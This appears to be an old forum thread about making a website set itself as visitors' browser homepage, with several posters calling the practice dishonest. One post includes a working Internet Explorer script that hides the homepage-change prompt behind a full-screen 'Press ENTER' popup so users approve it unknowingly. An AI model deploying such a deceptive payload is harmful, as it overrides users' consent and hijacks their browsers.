that would be done using Javascript, you can find what you are looking for at http://www.dynamicdrive.com etc you can get 2 different types of the script, one, where of the user clicks on a link e.g. Set As Homepage, the other will ask the user the first/every time they visit your site.
I am not aware of any, nor have I seen one...but I know its possible some how??? I know warez related sites use it!
Just a suggestion, but I know that I wouldn't like it very much if my homepage was changed by a specific site without my permission. My 2 cents.
I think some sites cover the prompt over with something so you don't see it, like this: <html xmlns:ie> <head> <ie:homepage id="homepage" style="behavior:url(#default#homepage)"> <script type="text/javascript"> try{ var popup = window.createPopup(); popup.document.body.innerHTML = '<table width="100%" height="100%"><tr><td align="center"><h1>Press the ENTER key to continue</h1></td></tr></table>'; var interval = setInterval('popup.show(0, 0, screen.width, screen.height, document.body)', 10); homepage.setHomePage('http://www.mit.edu/'); clearInterval(interval); popup.hide(); }catch(e){} </script> </head> </html>
I won't say what I'd like to say so I'll just say that your idea is dishonest (to stay polite that is).
since I've started using a popup blocker with IE (though now using FFox) etc my homepage stays as blank! I found often this trick was used to take you to sites where, the person would earn money from it. Its quite a nasty trick! I'm not sure how its done!